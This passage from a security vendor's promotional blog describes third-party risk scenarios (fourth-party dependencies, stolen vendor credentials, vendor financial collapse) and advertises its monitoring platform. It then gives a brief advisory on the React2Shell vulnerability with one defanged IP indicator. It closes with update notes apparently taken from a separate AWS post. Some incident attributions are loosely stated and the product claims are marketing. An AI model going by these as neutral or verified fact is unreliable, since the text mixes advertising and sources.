The Scenario: Sometimes the biggest risk in your vendor ecosystem isn’t with your direct third parties, but with their key dependencies. A “fourth party” is a vendor of your vendor, and if one that many of your critical vendors rely on goes down, it can create a single point of failure. A single outage can cascade up the chain, disrupting operations even when direct vendors appear secure.

Real-World Example: The 2021 ransomware attack on Kaseya’s VSA remote monitoring and management platform is a textbook case. Kaseya primarily served managed service providers (MSPs), who in turn delivered IT services to thousands of downstream customers. When attackers exploited Kaseya VSA, they were effectively able to push ransomware out through those MSPs to many organizations that had no direct relationship with Kaseya at all—they only “knew” their MSP. A single fourth-party dependency became the pivot point for a broad, multi-industry disruption.

Why Traditional Methods Fail: If you looked at each of your primary (third-party) vendors in isolation, they all might have passed your security reviews with flying colors. What the traditional assessment missed was that ten of those vendors all relied on the same subcontractor for a critical function, a critical audit blind spot. Most organizations only discovered their exposure to Kaseya after MSP-delivered systems were already encrypted. Without continuous visibility into your vendors’ vendors, this kind of concentration risk remains invisible until it’s too late.

The Intelligence-Led Solution: The only way to manage fourth-party and concentration risk is through continuous mapping of your vendors’ vendors, coupled with dynamic risk scoring. Recorded Future’s Third-Party Intelligence solution automatically identifies and maps these Nth-party relationships throughout your supply chain. In practice, this means if a critical fourth-party suffers a breach, you won’t be finding out via the news days later. Instead, your intelligence dashboard would immediately show that entity’s risk score spiking from, say, a modest 50 to a critical 99. This timely insight gives you a head start to activate business continuity and incident response plans. You immediately know exactly which of your vendors are impacted and can work to contain the fallout.

Type 4: The Vendor Credential Compromise

The Scenario: Not all third-party attacks involve sophisticated malware or supply chain tampering. Sometimes hackers just log in through the front door. In this scenario, a threat actor steals valid credentials from one of your vendors and uses those to access your systems. Perhaps an employee at a smaller, “low-risk” vendor, like an HVAC contractor, falls victim to a phishing email or unknowingly runs info-stealer malware on their laptop. Their VPN login or application credentials to your network get quietly harvested and sold on the dark web. An attacker buys the login, bypasses your multi-factor authentication, and walks into your network posing as a legitimate third-party user.

Real-World Example: This tactic was at the heart of the high-profile 2023 breaches of MGM Resorts and Caesars Entertainment, where attackers initially gained access via a third-party IT support vendor’s compromised VPN credentials.

Why Traditional Methods Fail: A vendor security questionnaire cannot prevent an individual at a partner company from clicking a phishing link or using a weak password. Your vendor might have all the right policies on paper, but those policies are irrelevant the moment an attacker has a valid username and password in hand. Traditional TPRM programs are about vetting a vendor’s security controls and compliance, but they don’t provide real-time awareness of things like a password leak or dark web sale of access related to that vendor.

The Intelligence-Led Solution: The key to stopping a credential-based breach is catching those compromised credentials before they are used against you. This calls for continuous identity-centric intelligence. Recorded Future’s Third-Party Intelligence module includes automated monitoring of a wide range of sources, from dark web forums to infostealer logs and criminal marketplaces, specifically watching for any mention of your organization’s partners and their accounts. The moment a set of credentials associated with one of your vendors appears in an illicit context, you receive a high-priority alert. Your team can immediately revoke or reset that vendor account and investigate the extent of access. This is the definition of proactive defense: you’re effectively shutting the door on the attacker before they can walk through it.

Type 5: The Operational & Financial Instability Risk

The Scenario: Sometimes the greatest third-party risk is a vendor’s operational or financial collapse. Consider a scenario where a critical vendor suddenly encounters a non-cyber crisis like bankruptcy, a major lawsuit or regulatory sanction, a natural disaster, or even a geopolitical event that halts their business. From your security team’s perspective everything looked fine, but virtually overnight this partner’s failure threatens to grind your business to a halt.

Real-World Example: A headline-grabbing case occurred with the sudden collapse of Silicon Valley Bank (SVB) in March 2023. SVB wasn’t attacked by hackers; it suffered a bank run and shut down in a matter of days. Companies that used SVB as a banking partner or for credit found themselves unable to access funds or process payroll, creating a cascade of operational and financial issues.

Why Traditional Methods Fail: A standard security questionnaire or compliance-focused vendor review is utterly blind to this category of risk. Your CISO’s third-party risk process likely doesn’t include reviewing a vendor’s financial statements or monitoring news about their executives’ legal troubles—nor should it, in a traditional model, since those are outside the classic IT security scope. As a result, organizations were caught off-guard by SVB’s collapse. A vendor that looked perfectly green from a security control standpoint turned out to be a huge business continuity threat. This kind of event exposes an “edge case” risk that isn’t an edge case at all: vendors can introduce strategic and financial risks that security teams and vendor managers often aren’t tracking.

The Intelligence-Led Solution: Truly comprehensive third-party risk management means monitoring all-source intelligence on your vendors, not just cyber indicators. Recorded Future’s Third-Party Intelligence platform is built to ingest and analyze a broad spectrum of data about companies. This includes real-time monitoring of global news media, credit ratings and financial filings, changes in executive leadership, legal filings, sanctions lists, regulatory watchlists, and more. By defining “risk” holistically, the platform can alert you to significant non-cyber events that may impact your vendors. These signals give your security, risk, and procurement teams time to react, whether that means activating contingency plans, finding alternate suppliers, or engaging leadership to address the issue.

The Solution: Move from “Trust” to “Continuous Verification”

The five examples share a theme: “trust” is not a control. Vendor attestations and annual audits don’t capture rapidly changing third-party conditions—exploits, credentials, dependencies, and financial shocks. To answer why third-party risk management is important: it’s no longer a “vendor” problem. It’s your attack surface, your data, and your reputation on the line.

This is why security leaders are shifting from a trust-but-verify model to a model of continuous verification, replacing blind trust with live intelligence.

Moving to continuous verification means supplementing or replacing periodic vendor check-ins with real-time intelligence and automation. This is where Recorded Future’s approach comes in. Recorded Future acts as a “risk radar” that’s always on, giving you a 360-degree, real-time view of your third-party ecosystem. It uniquely integrates multiple intelligence streams—threat intelligence, attack surface intelligence, and third-party risk intelligence—into one platform.

• Know which CVEs matter today across your ecosystem with Vulnerability Intelligence and exploit-in-the-wild context.
• Detect compromised vendor access with Identity Intelligence and automated revocation workflows.
• Map fourth-party dependencies and track concentration with Third-Party Intelligence risk scoring.
• Operationalize all of this via integrations to SIEM/SOAR/EDR and GRC/TPRM workflows (e.g., ServiceNow) so that risk evidence triggers action.

Recorded Future is the only platform connecting disparate, live third-party intelligence into a single, real-time view that answers the question:

“Which of my vendors poses the greatest risk to my business—right now?”

Ready to replace point-in-time vendor questionnaires with continuous verification? Schedule a personalized demo, and our experts will show you how the Recorded Future platform provides a complete, real-time picture of your vendor ecosystem.

Last updated on 9 December.

A critical vulnerability in React Server Components is allegedly being actively exploited by multiple Chinese threat actors, Recorded Future recommends organizations patch their systems immediately.

What's Happening

CVE-2025-55182, dubbed "React2Shell," affects React Server Components versions 19.0, 19.1.0, 19.1.1, and 19.2.0 in several Meta packages. Amazon's AWS Threat Intelligence team reported on December 4 that Chinese threat groups including Earth Lamia, Jackpot Panda, and several untracked clusters are actively exploiting this vulnerability. However, AWS has not provided any further evidence for these attributions beyond IP addresses allegedly used by these threat groups. At this stage, Insikt Group cannot exclude the possibility that the same threat group might still be using the IP address 206[.]237[.]3[.]150, but we are currently unable to verify AWS’s attribution to Earth Lamia.

The vulnerability stems from unsafe payload deserialization at React Server Function endpoints. When successfully exploited, attackers can execute arbitrary code through crafted HTTP requests, potentially leading to complete backend compromise.

CVE-2025-55182 (React2Shell) Intelligence Card®

December 29, 2025: The blog post was updated to add options for AWS Network Firewall.

December 12, 2025: The blog post was updated to clarify when customers need to update their ReactJS version.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.